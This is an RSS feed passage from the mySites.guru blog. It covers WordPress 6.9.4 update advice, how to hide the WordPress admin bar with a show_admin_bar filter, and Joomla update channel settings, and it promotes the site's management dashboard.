&lt;p&gt;If you manage WordPress sites professionally, the &lt;a href=&quot;https://make.wordpress.org/core/2026/03/25/wordpress-6-9-2-retrospective/&quot;&gt;full retrospective&lt;/a&gt; is worth reading. A 20-year-old release process still had gaps no one noticed until three patches slipped through.&lt;/p&gt;
&lt;h2&gt;What should you do now?&lt;/h2&gt;
&lt;p&gt;Update to WordPress 6.9.4. It includes all 10 security patches (fully applied), the theme regression fix from 6.9.3, and the three corrected patches. There’s no reason to stay on an older version.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;On 6.9.1 or earlier?&lt;/strong&gt; Update to 6.9.4. You’re missing 10 security fixes.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;On 6.9.2 with a broken front end?&lt;/strong&gt; Update to 6.9.4 from wp-admin (which still works) or replace &lt;code&gt;wp-includes/template-loader.php&lt;/code&gt; via SFTP, then update to 6.9.4.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;On 6.9.2 or 6.9.3 and everything works?&lt;/strong&gt; Still update to 6.9.4. Three security patches are incomplete in those versions.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Have auto-updates enabled?&lt;/strong&gt; Your site should pick up 6.9.4 automatically. Check to make sure it did. If you want more control over when updates happen, you can &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;disable automatic WordPress updates entirely&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/blog/enforce-minor-upgrades-only-wordpress/&quot;&gt;allow only minor security patches&lt;/a&gt; while blocking major version jumps.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;After updating, run a &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content scan&lt;/a&gt; to check whether any of these vulnerabilities were exploited before the patch was applied to your site.&lt;/p&gt;
&lt;h2&gt;What if you manage large numbers of WordPress sites?&lt;/h2&gt;
&lt;p&gt;Replacing one file or clicking “Update” on one site is straightforward. But if you’re an agency or freelancer responsible for 50, 100, or 200+ client sites, today was probably stressful. Which sites auto-updated to 6.9.2? Which are still on 6.9.1 and exposed to 10 unpatched vulnerabilities? Which ones have already picked up 6.9.4? You need answers to all of those questions, and you need them fast.&lt;/p&gt;
&lt;p&gt;That’s what &lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt; is built for. From a single dashboard you can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;See every site’s WordPress version at a glance&lt;/strong&gt; - instantly know which sites are on 6.9.1, 6.9.2, 6.9.3, or 6.9.4 without logging into each one&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Get &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;vulnerability alerts&lt;/a&gt;&lt;/strong&gt; - we monitor WordPress core, plugins, and themes for known security issues and notify you when your sites are affected&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;Push updates to all your sites at once&lt;/a&gt;&lt;/strong&gt; - roll out 6.9.4 across your entire portfolio in minutes instead of hours&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;Schedule updates&lt;/a&gt;&lt;/strong&gt; for maintenance windows instead of relying on auto-updates that break things at 2am on a Saturday&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free security audit&lt;/a&gt;&lt;/strong&gt; on any site to check for outdated software, misconfigurations, and known vulnerabilities&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Days like today are exactly why we built mySites.guru. &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Start for free&lt;/a&gt; - no credit card required.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://make.wordpress.org/core/2026/03/25/wordpress-6-9-2-retrospective/&quot;&gt;WordPress 6.9.2 retrospective&lt;/a&gt; - the Security Team’s post-mortem covering what went well, what didn’t, and action items&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/news/2026/03/wordpress-6-9-4-release/&quot;&gt;WordPress 6.9.4 release announcement&lt;/a&gt; - official post confirming three incomplete patches, by John Blackbourn&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/documentation/wordpress-version/version-6-9-4/&quot;&gt;WordPress 6.9.4 release page&lt;/a&gt; - documentation listing the three files changed and the security fixes completed&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/news/2026/03/wordpress-6-9-3-and-7-0-beta-4/&quot;&gt;WordPress 6.9.3 and 7.0 Beta 4 announcement&lt;/a&gt; - official news post covering both releases, by John Blackbourn&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/documentation/wordpress-version/version-6-9-3/&quot;&gt;WordPress 6.9.3 release page&lt;/a&gt; - official “fast follow” release notes confirming the two-file fix&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/news/2026/03/wordpress-6-9-2-release/&quot;&gt;WordPress 6.9.2 release announcement&lt;/a&gt; - official post from the WordPress team&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/support/topic/no-pages-displaying-after-wp-updates-to-6-9-2/&quot;&gt;Support thread: “No pages displaying after WP updates to 6.9.2”&lt;/a&gt; - where John Blackbourn confirmed the bug and Jos Klever posted the workaround&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://api.wordpress.org/core/version-check/1.7/?version=6.9&quot;&gt;WordPress version check API&lt;/a&gt; - now shows 6.9.4 as latest stable&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/WordPress/wordpress-develop/commit/4b9c72ff0168cf8fdf002ef566b7cbbb6fec6797&quot;&gt;Fix commit in trunk&lt;/a&gt; - John Blackbourn’s commit adding stringable object support to the template loader and block patterns registry&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/WordPress/wordpress-develop/commits/trunk/&quot;&gt;WordPress trunk commits&lt;/a&gt; - full commit history&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.reddit.com/r/Wordpress/comments/1rq4gva/comment/o9qsur3/&quot;&gt;Otto’s Reddit comment&lt;/a&gt; - WordPress.org Tech Guy confirming 6.9.3 was coming shortly&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.reddit.com/r/Wordpress/comments/1rq4gva/wordpress_692_release_security_release_today/&quot;&gt;Reddit: r/Wordpress discussion&lt;/a&gt; - community discussion and reports from affected site owners&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Read our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;complete security guide&lt;/a&gt; for handling incidents like this at scale.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>security</category><category>updates</category><enclosure url="https://mysites.guru/img/og/blog/wordpress-6-9-2-security-release-crashes-websites.png" length="0" type="image/png"/></item><item><title>How to Disable the WordPress Admin Menu Bar on the Frontend When Logged In</title><link>https://mysites.guru/blog/disable-wordpress-admin-bar-frontend/</link><guid isPermaLink="true">https://mysites.guru/blog/disable-wordpress-admin-bar-frontend/</guid><description>Hide the WordPress admin bar on the frontend with one line: add_filter(&apos;show_admin_bar&apos;, &apos;__return_false&apos;); plus an admins-only version and the per-user toggle.</description><pubDate>Mon, 09 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;To hide the WordPress admin bar on the frontend for every logged-in user, add &lt;code&gt;add_filter(&apos;show_admin_bar&apos;, &apos;__return_false&apos;);&lt;/code&gt; to your theme’s &lt;code&gt;functions.php&lt;/code&gt; or a must-use plugin. The &lt;code&gt;show_admin_bar&lt;/code&gt; filter decides whether the toolbar appears on the front of the site, and returning false hides it. If you want to keep it for administrators and hide it for everyone else, the role-based version of the filter is below, along with the per-user checkbox in WordPress and the one-click toggle in mySites.guru.&lt;/p&gt;
&lt;h2&gt;Why is the admin bar a problem?&lt;/h2&gt;
&lt;p&gt;Log into any WordPress site and visit the frontend. There it is: a black toolbar spanning the top of the page, offering links to the dashboard, the current page’s edit screen, and whatever else WordPress and your plugins decide to put there.&lt;/p&gt;
&lt;p&gt;For a solo site admin, the toolbar is handy. For everyone else who’s logged in (subscribers, customers, members, students) it’s confusing clutter. On a WooCommerce store, a logged-in customer sees admin links they can’t use. On a membership site, subscribers see a toolbar that has nothing to do with their experience. If you &lt;a href=&quot;https://mysites.guru/manage-multiple-wordpress-sites/&quot;&gt;manage multiple WordPress sites&lt;/a&gt;, this becomes a recurring annoyance across your entire portfolio.&lt;/p&gt;
&lt;p&gt;And then there’s the design problem. The admin bar adds 32 pixels of fixed positioning to the top of every page. Custom themes with fixed headers, sticky navigation, or precise spacing get pushed down. Fullscreen hero sections have a black bar on top that doesn’t match the site’s branding.&lt;/p&gt;
&lt;h2&gt;What are the three ways to disable the frontend admin bar?&lt;/h2&gt;
&lt;h3&gt;Per-user toggle&lt;/h3&gt;
&lt;p&gt;WordPress provides a per-user setting: go to Users → click a user → uncheck “Show Toolbar when viewing site.” This works for individual users but doesn’t scale. You’d need to edit every user profile, and new users get the toolbar enabled by default.&lt;/p&gt;
&lt;h3&gt;Theme functions filter&lt;/h3&gt;
&lt;p&gt;Add this to your theme’s &lt;code&gt;functions.php&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;// Disable admin bar for all non-administrators&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;add_filter&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;show_admin_bar&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; function&lt;/span&gt;&lt;span&gt; ()&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    return&lt;/span&gt;&lt;span&gt; current_user_can&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;manage_options&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This keeps the bar for admins and hides it for everyone else. It’s a code change that needs to be in your theme (or a custom plugin), and it needs to be replicated across every site. If you’re already editing wp-config.php for other things, &lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;WordPress debug constants&lt;/a&gt; covers the related configuration options.&lt;/p&gt;
&lt;h3&gt;Plugin approach&lt;/h3&gt;
&lt;p&gt;Several plugins exist to manage admin bar visibility by role. Each one is another dependency to maintain across your WordPress portfolio. You can also &lt;a href=&quot;https://mysites.guru/blog/stop-plugin-installs-wordpress-admin/&quot;&gt;block plugin installs entirely&lt;/a&gt; with a wp-config.php constant if you want to lock things down further.&lt;/p&gt;
&lt;h2&gt;Why is this challenging across multiple sites?&lt;/h2&gt;
&lt;p&gt;The frontend admin bar setting is easy to configure on one site but tedious across many. The first three approaches above all need to be applied individually:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Per-user toggles don’t transfer between sites&lt;/li&gt;
&lt;li&gt;Theme function changes only apply to the theme they’re in&lt;/li&gt;
&lt;li&gt;Plugins need installing and configuring on each site&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For agencies managing 20+ WordPress sites, each with its own theme and user base, keeping this consistent requires either careful documentation or a centralised management tool. We wrote more about this in &lt;a href=&quot;https://mysites.guru/blog/how-to-manage-multiple-wordpress-sites-like-a-pro/&quot;&gt;how to manage multiple WordPress sites like a pro&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;How does mySites.guru handle this?&lt;/h2&gt;
&lt;p&gt;mySites.guru’s snapshot has a toggle for “Disable the menu bar on the frontend when logged in.” Flip it, and the admin bar is hidden for all logged-in users on that site. If you change your mind, you can toggle it back with one click.&lt;/p&gt;
&lt;p&gt;Under the hood, mySites.guru deploys a &lt;a href=&quot;https://developer.wordpress.org/advanced-administration/plugins/mu-plugins/&quot;&gt;must-use plugin&lt;/a&gt; with this filter:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;add_filter&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;show_admin_bar&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;__return_false&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Must-use plugins load before regular plugins and can’t be deactivated from the WordPress admin, so the setting sticks regardless of theme changes or plugin conflicts. You don’t need to touch code or manage yet another plugin.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/2026-03-09-disable-admin-bar-toggle.gif&quot; alt=&quot;Toggling the &amp;quot;Disable The Menu Bar, On The Frontend, When Logged In&amp;quot; option in the mySites.guru snapshot dashboard&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Instead of adding a filter to each theme or clicking through user profiles, you toggle it once per site from the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;mySites.guru dashboard&lt;/a&gt;. The tool page shows the current state of this setting across all your WordPress sites at a glance:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/2026-03-09-disable-admin-bar-dashboard.png&quot; alt=&quot;The mySites.guru dashboard showing the &amp;quot;Disable The Menu Bar, On The Frontend, When Logged In&amp;quot; setting across multiple WordPress sites, with per-site toggle controls&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Snapshot monitoring tracks the setting going forward, so if a theme update or plugin re-enables it, you’ll know.&lt;/p&gt;
&lt;p&gt;The same dashboard handles related settings like &lt;a href=&quot;https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/&quot;&gt;removing the WP logo from the admin bar&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;stopping automatic updates&lt;/a&gt;, and &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;monitoring plugin vulnerabilities&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;What about removing the WordPress logo from the admin bar?&lt;/h2&gt;
&lt;p&gt;This is a different thing from hiding the bar entirely. The WordPress logo in the admin bar links to WordPress.org resources and visually identifies the CMS. On white-label client sites, you probably want it gone. mySites.guru has a &lt;a href=&quot;https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/&quot;&gt;one-click toggle to remove the WP logo&lt;/a&gt; from both the frontend and backend toolbar.&lt;/p&gt;
&lt;h2&gt;When should you disable the frontend admin bar?&lt;/h2&gt;
&lt;h3&gt;Disable for non-admins when&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Running a membership or e-commerce site where customers log in&lt;/li&gt;
&lt;li&gt;The theme’s design conflicts with the 32px admin bar offset&lt;/li&gt;
&lt;li&gt;Clients are confused by admin links they can’t use&lt;/li&gt;
&lt;li&gt;You want a clean, branded frontend experience&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Keep enabled when&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Only administrators log into the site&lt;/li&gt;
&lt;li&gt;Content editors need quick access to the “Edit Page” link from the frontend&lt;/li&gt;
&lt;li&gt;The site has few logged-in users and the convenience outweighs the clutter&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For most client sites managed by agencies, disabling the frontend admin bar for non-admin roles is the right default.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/reference/functions/show_admin_bar/&quot;&gt;show_admin_bar() function reference&lt;/a&gt; — Official WordPress developer docs for the function that controls admin bar visibility.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/reference/hooks/show_admin_bar/&quot;&gt;show_admin_bar filter hook&lt;/a&gt; — The recommended way to hide the admin bar, documented with usage examples.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/reference/functions/is_admin_bar_showing/&quot;&gt;is_admin_bar_showing() function reference&lt;/a&gt; — Check whether the admin bar is currently displayed; useful for conditional logic in themes.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/apis/hooks/&quot;&gt;WordPress Hooks API&lt;/a&gt; — How actions and filters work in WordPress, for context on the show_admin_bar filter approach.&lt;/li&gt;
&lt;/ul&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>admin bar</category><category>frontend</category><category>customization</category><enclosure url="https://mysites.guru/img/og/blog/disable-wordpress-admin-bar-frontend.png" length="0" type="image/png"/></item><item><title>How to Prevent Accidental Joomla Version Jumps with Update Channel Management</title><link>https://mysites.guru/blog/how-to-prevent-accidental-joomla-version-jumps/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-prevent-accidental-joomla-version-jumps/</guid><description>One wrong Joomla update channel setting can jump your site from Joomla 4 to 5 or 5 to 6. Here is how mySites.guru detects and prevents this.</description><pubDate>Mon, 09 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;
  
  &lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; Joomla&apos;s update channel setting controls which versions your site is offered. If it&apos;s set to &quot;Joomla Next&quot; instead of &quot;Default&quot;, a routine update check can offer a major version jump - from Joomla 4 to 5, or from 5 to 6. mySites.guru flags this misconfiguration on every connected site and lets you fix it remotely in one click.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;One wrong setting in the Joomla Update component is all it takes to accidentally upgrade a production Joomla 4 site to Joomla 5, or a Joomla 5 site to Joomla 6. The setting is called the &lt;strong&gt;update channel&lt;/strong&gt; (internally called &lt;code&gt;updatesource&lt;/code&gt;), and it determines which versions Joomla considers available when you hit “Check for Updates” in the admin panel.&lt;/p&gt;
&lt;p&gt;Most Joomla administrators never think about this setting because it ships on “Default” out of the box. But it only takes one change (during a test, by a team member who didn’t know what it did, or after following a tutorial that forgot to mention switching it back) and suddenly your next routine update isn’t a minor patch. It’s a full major version jump.&lt;/p&gt;
&lt;h2&gt;What is a Joomla update channel?&lt;/h2&gt;
&lt;p&gt;The update channel is a configuration option inside the &lt;strong&gt;Joomla Update component&lt;/strong&gt; (Components &amp;gt; Joomla Update &amp;gt; Options in the Joomla admin panel). It tells Joomla which update server to check and, critically, which version series to consider as available updates.&lt;/p&gt;
&lt;p&gt;Joomla’s update system works by fetching an XML file from an update server URL. The update channel setting determines &lt;em&gt;which&lt;/em&gt; XML file gets fetched, and each file points to a different set of available versions.&lt;/p&gt;
&lt;p&gt;The channels you’ll encounter:&lt;/p&gt;
&lt;h3&gt;Default&lt;/h3&gt;
&lt;p&gt;This is what every production site should use. The Default channel only offers updates within your current major version series. If you’re running Joomla 5.2.3, the Default channel will offer 5.2.4, 5.3.0, and so on - but it will never offer Joomla 6.0.0.&lt;/p&gt;
&lt;p&gt;The Default channel is the safe choice because it keeps your site on the version series you intentionally installed and tested against.&lt;/p&gt;
&lt;h3&gt;Joomla Next&lt;/h3&gt;
&lt;p&gt;This is the channel that causes problems. The Joomla Next channel includes the next major version series in the available updates. If you’re on Joomla 5 and Joomla 6 has been released, the Joomla Next channel will show Joomla 6 as an available update.&lt;/p&gt;
&lt;p&gt;The Joomla Next channel exists for a legitimate purpose: when you’ve done your compatibility testing, confirmed your extensions and templates work with the new version, and are ready to intentionally upgrade to the next major version. The problem is that once enabled, it stays enabled. People switch to it, upgrade one site, and then forget to switch it back. Or they switch it on a test site and accidentally leave it on a production site.&lt;/p&gt;
&lt;h3&gt;Testing&lt;/h3&gt;
&lt;p&gt;The Testing channel gives access to pre-release builds: alphas, betas, and release candidates. These are builds published by the Joomla project for community testing before a stable release.&lt;/p&gt;
&lt;p&gt;This channel should only ever be used on dedicated test environments. Pre-release builds can have bugs, incomplete features, and database schema changes that aren’t finalised. Installing a testing build on a production site is asking for trouble, and there’s often no clean upgrade path from a beta to the final stable release.&lt;/p&gt;
&lt;h3&gt;STS and LTS (legacy)&lt;/h3&gt;
&lt;p&gt;Older Joomla versions (particularly the &lt;a href=&quot;https://joomla3security.com/&quot;&gt;Joomla 3&lt;/a&gt; era) used &lt;strong&gt;Short Term Support (STS)&lt;/strong&gt; and &lt;strong&gt;Long Term Support (LTS)&lt;/strong&gt; channels. These distinguished between feature releases and long-term maintenance releases within the same major version.&lt;/p&gt;
&lt;p&gt;In modern Joomla (versions 4, 5, and 6), the STS and LTS distinction no longer applies in the same way. You may still see these values in some site configurations, particularly on sites that were migrated from Joomla 3 and never had the setting cleaned up. For practical purposes, they behave like the Default channel, but it’s still best practice to explicitly set the channel to Default to avoid any ambiguity.&lt;/p&gt;
&lt;h2&gt;Why are wrong Joomla update channels dangerous?&lt;/h2&gt;
&lt;p&gt;A misconfigured update channel doesn’t break anything immediately. Your site keeps running fine. The danger only shows itself when someone checks for updates and accepts what Joomla offers.&lt;/p&gt;
&lt;h3&gt;The accidental major version jump&lt;/h3&gt;
&lt;p&gt;The scenario plays out regularly across the Joomla community:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A site administrator sets the update channel to “Joomla Next” to upgrade one of their sites from Joomla 4 to Joomla 5&lt;/li&gt;
&lt;li&gt;The upgrade goes fine, the site is now on Joomla 5&lt;/li&gt;
&lt;li&gt;The administrator forgets to switch the channel back to “Default”&lt;/li&gt;
&lt;li&gt;Months later, Joomla 6 is released&lt;/li&gt;
&lt;li&gt;The admin panel shows “An update is available” - looks like a routine update&lt;/li&gt;
&lt;li&gt;The administrator (or a junior team member) clicks Update&lt;/li&gt;
&lt;li&gt;The site is now on Joomla 6, which was never tested, and extensions start breaking&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This is not a hypothetical scenario. It happens after every major Joomla release. The Joomla forums fill up with posts from administrators who accidentally jumped to a new major version and now have broken sites. With Joomla 6 released in October 2025 - and &lt;a href=&quot;https://mysites.guru/blog/joomla-6-1-release-whats-new/&quot;&gt;Joomla 6.1 now out&lt;/a&gt; - this is happening right now to Joomla 5 sites that still have the Joomla Next channel enabled from when they upgraded from Joomla 4.&lt;/p&gt;
&lt;h3&gt;There is no rollback&lt;/h3&gt;
&lt;p&gt;When you upgrade from Joomla 5 to Joomla 6, the database schema changes. Tables are altered, columns are added or removed, and data is migrated.&lt;/p&gt;
&lt;p&gt;You cannot simply downgrade the files back to Joomla 5 because the database no longer matches the Joomla 5 schema. The only recovery path is restoring a full backup - files and database together - from before the upgrade happened.&lt;/p&gt;
&lt;p&gt;If you don’t have a recent backup, or if your &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;backup schedule&lt;/a&gt; hasn’t run since the last content changes, you’re looking at data loss on top of the version mess.&lt;/p&gt;
&lt;h3&gt;Extension and template incompatibility&lt;/h3&gt;
&lt;p&gt;Major Joomla version upgrades routinely break third-party extensions and templates. Extension developers need time to update their code for new APIs, deprecated features, and changed behaviour in a new major version.&lt;/p&gt;
&lt;p&gt;When you intentionally plan a major version upgrade, you check each extension’s compatibility first. You review the &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6 requirements&lt;/a&gt; to make sure your server meets the minimums. You test on a staging site. You have a plan.&lt;/p&gt;
&lt;p&gt;When the upgrade happens accidentally, none of that preparation has been done. Extensions that haven’t been updated for the new version will throw errors such as &lt;a href=&quot;https://mysites.guru/blog/joomla-class-jplugin-not-found/&quot;&gt;Class “JPlugin” not found&lt;/a&gt;, produce white screens, or malfunction. Templates may break entirely, leaving your site looking nothing like it should.&lt;/p&gt;
&lt;h3&gt;The problem multiplies across a portfolio&lt;/h3&gt;
&lt;p&gt;For anyone managing multiple Joomla sites, the risk compounds quickly. If you set one site to the Joomla Next channel and then used a configuration template or copied settings across sites, you could have dozens or hundreds of sites with the wrong channel. A &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass upgrade from one dashboard&lt;/a&gt; becomes a mass problem if the update channel is wrong on the sites being upgraded.&lt;/p&gt;
&lt;p&gt;The sites look fine, the update channel is buried in a component options page that no one routinely checks, and the actual failure only happens when an update is offered and accepted.&lt;/p&gt;
&lt;h2&gt;How to check your update channel in Joomla&lt;/h2&gt;
&lt;p&gt;If you’re managing sites individually, here’s how to verify the update channel on each one:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Log in to the Joomla administrator panel&lt;/li&gt;
&lt;li&gt;Go to &lt;strong&gt;Components &amp;gt; Joomla Update&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Click the &lt;strong&gt;Options&lt;/strong&gt; button in the toolbar (top right)&lt;/li&gt;
&lt;li&gt;Look at the &lt;strong&gt;Update Channel&lt;/strong&gt; dropdown&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If it says “Default”, you’re fine. If it says anything else - particularly “Joomla Next” - change it back to Default and save.&lt;/p&gt;
&lt;p&gt;The problem with doing this manually is obvious: you have to log into every single site, navigate to the same page, check the same dropdown, and remember to do this periodically. For anyone with more than a handful of sites, this doesn’t scale.&lt;/p&gt;
&lt;h2&gt;How does mySites.guru monitor Joomla update channels?&lt;/h2&gt;
&lt;p&gt;mySites.guru tracks the update channel setting for every connected Joomla site automatically.&lt;/p&gt;
&lt;h3&gt;Snapshot monitoring&lt;/h3&gt;
&lt;p&gt;Every time mySites.guru runs a &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot of your sites&lt;/a&gt;, it reads the &lt;code&gt;updatesource&lt;/code&gt; parameter from the Joomla Update component configuration. This value is stored and displayed in the dashboard alongside your site’s Joomla version, PHP version, and database details.&lt;/p&gt;
&lt;p&gt;On the &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6 compatibility&lt;/a&gt; checker page, the update channel column shows a &lt;strong&gt;green badge with a checkmark&lt;/strong&gt; when the channel is set to Default, and a &lt;strong&gt;red badge with an X&lt;/strong&gt; when it’s set to anything else. You can see at a glance which of your sites have a misconfigured update channel without logging into any of them.&lt;/p&gt;
&lt;h3&gt;Best practice audit&lt;/h3&gt;
&lt;p&gt;The mySites.guru &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice audit&lt;/a&gt; includes a dedicated check for the update channel. The audit tool - titled “Use Default Update Channel on Live Sites to prevent accidental series jump” - evaluates every connected Joomla site and flags any site where the channel is not set to Default.&lt;/p&gt;
&lt;p&gt;This runs automatically with each snapshot, so even if someone changes the update channel on a site between your manual checks, mySites.guru will catch it on the next scan. The check also tracks trend data: if a site’s channel changes from Default to something else (or vice versa), the dashboard highlights the change so you can investigate.&lt;/p&gt;
&lt;h3&gt;Remote fix&lt;/h3&gt;
&lt;p&gt;When mySites.guru detects a site with the wrong update channel, you don’t have to log into that site to fix it. The dashboard provides a toggle that remotely sets the update channel back to Default. For a single site, it’s one click. For multiple sites, you can view all affected sites filtered by this specific issue and work through them.&lt;/p&gt;
&lt;p&gt;This means you can fix a misconfigured channel in seconds from your dashboard instead of discovering it after the damage is done.&lt;/p&gt;
&lt;h3&gt;Forced Default during upgrades&lt;/h3&gt;
&lt;p&gt;When you use mySites.guru to &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;upgrade Joomla core&lt;/a&gt;, the upgrade process &lt;strong&gt;forces the update source to Default&lt;/strong&gt; before applying the update, regardless of what the site’s local setting is. Even if a site is set to Joomla Next, mySites.guru overrides this to prevent the upgrade from jumping to a different major version series.&lt;/p&gt;
&lt;p&gt;This means that when you do a &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;bulk upgrade across hundreds of sites&lt;/a&gt;, you know that every site will get the latest minor/patch release for its current major version - not an unexpected jump to a new series. This is a intended safety mechanism built into the upgrade connector for Joomla 3, 4, 5, and 6.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;&lt;strong&gt;Key point:&lt;/strong&gt; Even if a site has the wrong update channel, mySites.guru forces the channel to Default before performing any core upgrade. This prevents accidental series jumps regardless of the local configuration. You can still intentionally upgrade major versions through the dedicated migration tools.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;When should you use the Joomla Next channel?&lt;/h2&gt;
&lt;p&gt;The Joomla Next channel exists for good reasons, and there are legitimate times to use it:&lt;/p&gt;
